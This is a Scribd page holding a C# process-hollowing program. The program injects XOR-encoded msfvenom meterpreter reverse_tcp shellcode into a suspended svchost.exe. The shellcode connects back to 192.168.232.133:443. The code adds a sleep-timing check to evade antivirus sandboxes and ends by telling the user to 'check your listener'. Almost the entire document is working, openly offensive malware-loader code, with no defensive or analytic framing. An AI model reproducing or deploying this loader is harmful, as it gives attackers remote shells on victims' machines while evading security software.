0% found this document useful (0 votes)
7 views5 pages

Suite Hacker Program - Cs

The document outlines a C# program that demonstrates process hollowing by creating a suspended instance of 'svchost.exe'. It includes various P/Invoke declarations for interacting with Windows APIs, such as creating processes and reading/writing memory. The program also contains a payload generated by msfvenom, which is intended for use in a reverse TCP meterpreter session.

Uploaded by

kitembobaraka209
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views5 pages

Suite Hacker Program - Cs

The document outlines a C# program that demonstrates process hollowing by creating a suspended instance of 'svchost.exe'. It includes various P/Invoke declarations for interacting with Windows APIs, such as creating processes and reading/writing memory. The program also contains a payload generated by msfvenom, which is intended for use in a reverse TCP meterpreter session.

Uploaded by

kitembobaraka209
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 5

using System;

using System.Runtime.InteropServices;

namespace ProcessHollowing
{
public class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]


public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]


public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}

[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]


static extern bool CreateProcess(string lpApplicationName, string
lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo
lpProcessInformation);

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]


private static extern int ZwQueryInformationProcess(IntPtr hProcess, int
procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint
retlen);

[DllImport("kernel32.dll", SetLastError = true)]


static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);

[DllImport("kernel32.dll", SetLastError = true)]


public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr
lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll", SetLastError = true)]


static extern uint ResumeThread(IntPtr hThread);

public static void Main(string[] args)


{
// AV evasion: Sleep for 10s and detect if time really passed
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab,
0xbb, 0xaa, 0xa8,
0xab, 0xac, 0xb2, 0xcb, 0x28, 0x9f, 0xb2, 0x71, 0xa8, 0x9a, 0xb2, 0x71,
0xa8, 0xe2, 0xb2,
0x71, 0xa8, 0xda, 0xb7, 0xcb, 0x33, 0xb2, 0x71, 0x88, 0xaa, 0xb2, 0xf5,
0x4d, 0xb0, 0xb0,
0xb2, 0xcb, 0x3a, 0x56, 0xc6, 0x9b, 0x86, 0xf8, 0xd6, 0xda, 0xbb, 0x3b,
0x33, 0xf7, 0xbb,
0xfb, 0x3b, 0x18, 0x17, 0xa8, 0xbb, 0xab, 0xb2, 0x71, 0xa8, 0xda, 0x71,
0xb8, 0xc6, 0xb2,
0xfb, 0x2a, 0x9c, 0x7b, 0x82, 0xe2, 0xf1, 0xf8, 0xf5, 0x7f, 0x88, 0xfa,
0xfa, 0xfa, 0x71,
0x7a, 0x72, 0xfa, 0xfa, 0xfa, 0xb2, 0x7f, 0x3a, 0x8e, 0x9d, 0xb2, 0xfb,
0x2a, 0x71, 0xb2,
0xe2, 0xaa, 0xbe, 0x71, 0xba, 0xda, 0xb3, 0xfb, 0x2a, 0x19, 0xac, 0xb7,
0xcb, 0x33, 0xb2,
0x05, 0x33, 0xbb, 0x71, 0xce, 0x72, 0xb2, 0xfb, 0x2c, 0xb2, 0xcb, 0x3a,
0xbb, 0x3b, 0x33,
0xf7, 0x56, 0xbb, 0xfb, 0x3b, 0xc2, 0x1a, 0x8f, 0x0b, 0xb6, 0xf9, 0xb6,
0xde, 0xf2, 0xbf,
0xc3, 0x2b, 0x8f, 0x22, 0xa2, 0xbe, 0x71, 0xba, 0xde, 0xb3, 0xfb, 0x2a,
0x9c, 0xbb, 0x71,
0xf6, 0xb2, 0xbe, 0x71, 0xba, 0xe6, 0xb3, 0xfb, 0x2a, 0xbb, 0x71, 0xfe,
0x72, 0xbb, 0xa2,
0xbb, 0xa2, 0xa4, 0xa3, 0xb2, 0xfb, 0x2a, 0xa0, 0xbb, 0xa2, 0xbb, 0xa3,
0xbb, 0xa0, 0xb2,
0x79, 0x16, 0xda, 0xbb, 0xa8, 0x05, 0x1a, 0xa2, 0xbb, 0xa3, 0xa0, 0xb2,
0x71, 0xe8, 0x13,
0xb1, 0x05, 0x05, 0x05, 0xa7, 0xb3, 0x44, 0x8d, 0x89, 0xc8, 0xa5, 0xc9,
0xc8, 0xfa, 0xfa,
0xbb, 0xac, 0xb3, 0x73, 0x1c, 0xb2, 0x7b, 0x16, 0x5a, 0xfb, 0xfa, 0xfa,
0xb3, 0x73, 0x1f,
0xb3, 0x46, 0xf8, 0xfa, 0xfb, 0x41, 0x3a, 0x52, 0x12, 0x7f, 0xbb, 0xae,
0xb3, 0x73, 0x1e,
0xb6, 0x73, 0x0b, 0xbb, 0x40, 0xb6, 0x8d, 0xdc, 0xfd, 0x05, 0x2f, 0xb6,
0x73, 0x10, 0x92,
0xfb, 0xfb, 0xfa, 0xfa, 0xa3, 0xbb, 0x40, 0xd3, 0x7a, 0x91, 0xfa, 0x05,
0x2f, 0x90, 0xf0,
0xbb, 0xa4, 0xaa, 0xaa, 0xb7, 0xcb, 0x33, 0xb7, 0xcb, 0x3a, 0xb2, 0x05,
0x3a, 0xb2, 0x73,
0x38, 0xb2, 0x05, 0x3a, 0xb2, 0x73, 0x3b, 0xbb, 0x40, 0x10, 0xf5, 0x25,
0x1a, 0x05, 0x2f,
0xb2, 0x73, 0x3d, 0x90, 0xea, 0xbb, 0xa2, 0xb6, 0x73, 0x18, 0xb2, 0x73,
0x03, 0xbb, 0x40,
0x63, 0x5f, 0x8e, 0x9b, 0x05, 0x2f, 0x7f, 0x3a, 0x8e, 0xf0, 0xb3, 0x05,
0x34, 0x8f, 0x1f,
0x12, 0x69, 0xfa, 0xfa, 0xfa, 0xb2, 0x79, 0x16, 0xea, 0xb2, 0x73, 0x18,
0xb7, 0xcb, 0x33,
0x90, 0xfe, 0xbb, 0xa2, 0xb2, 0x73, 0x03, 0xbb, 0x40, 0xf8, 0x23, 0x32,
0xa5, 0x05, 0x2f,
0x79, 0x02, 0xfa, 0x84, 0xaf, 0xb2, 0x79, 0x3e, 0xda, 0xa4, 0x73, 0x0c,
0x90, 0xba, 0xbb,
0xa3, 0x92, 0xfa, 0xea, 0xfa, 0xfa, 0xbb, 0xa2, 0xb2, 0x73, 0x08, 0xb2,
0xcb, 0x33, 0xbb,
0x40, 0xa2, 0x5e, 0xa9, 0x1f, 0x05, 0x2f, 0xb2, 0x73, 0x39, 0xb3, 0x73,
0x3d, 0xb7, 0xcb,
0x33, 0xb3, 0x73, 0x0a, 0xb2, 0x73, 0x20, 0xb2, 0x73, 0x03, 0xbb, 0x40,
0xf8, 0x23, 0x32,
0xa5, 0x05, 0x2f, 0x79, 0x02, 0xfa, 0x87, 0xd2, 0xa2, 0xbb, 0xad, 0xa3,
0x92, 0xfa, 0xba,
0xfa, 0xfa, 0xbb, 0xa2, 0x90, 0xfa, 0xa0, 0xbb, 0x40, 0xf1, 0xd5, 0xf5,
0xca, 0x05, 0x2f,
0xad, 0xa3, 0xbb, 0x40, 0x8f, 0x94, 0xb7, 0x9b, 0x05, 0x2f, 0xb3, 0x05,
0x34, 0x13, 0xc6,
0x05, 0x05, 0x05, 0xb2, 0xfb, 0x39, 0xb2, 0xd3, 0x3c, 0xb2, 0x7f, 0x0c,
0x8f, 0x4e, 0xbb,
0x05, 0x1d, 0xa2, 0x90, 0xfa, 0xa3, 0x41, 0x1a, 0xe7, 0xd0, 0xf0, 0xbb,
0x73, 0x20, 0x05,
0x2f
};

// Start 'svchost.exe' in a suspended state


StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\
svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID
{pInfo.ProcessId}. Success: {cResult}.");
// Get Process Environment Block (PEB) memory address of suspended
process (offset 0x10 from base image)
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess,
PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of
process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");

// Get entry point of the actual process executable


// This one is a bit complicated, because this address differs for each
process (due to Address Space Layout Randomization (ASLR))
// From the PEB (address we got in last call), we have to do the
following:
// 1. Read executable address from first 8 bytes (Int64, offset 0) of
PEB and read data chunk for further processing
// 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable
address to get the offset for the PE header
// 3. Take the memory at this PE header add an offset of 0x28 to get
the Entrypoint Relative Virtual Address (RVA) offset
// 4. Read the value at the RVA offset address to get the offset of the
executable entrypoint from the executable address
// 5. Get the absolute address of the entrypoint by adding this value
to the base executable address. Success!

// 1. Read executable address from first 8 bytes (Int64, offset 0) of


PEB and read data chunk for further processing
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr,
procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf,
dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" +
executableAddress.ToString("x")}.");

// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from


executable address to get the offset for the PE header
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" +
e_lfanew.ToString("x")}.");

// 3. Take the memory at this PE header add an offset of 0x28 to get


the Entrypoint Relative Virtual Address (RVA) offset
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" +
rvaOffset.ToString("x")}.");

// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of
the executable entrypoint from the executable address
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");

// 5. Get the absolute address of the entrypoint by adding this value


to the base executable address. Success!
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" +
entrypointAddr.ToString("x")}.");

// Carrying on, decode the XOR payload


for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Console.WriteLine("XOR-decoded payload.");

// Overwrite the memory at the identified address to 'hijack' the


entrypoint of the executable
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf,
buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success:
{result}.");

// Resume the thread to trigger our payload


uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check
your listener!");
}
}
}

You might also like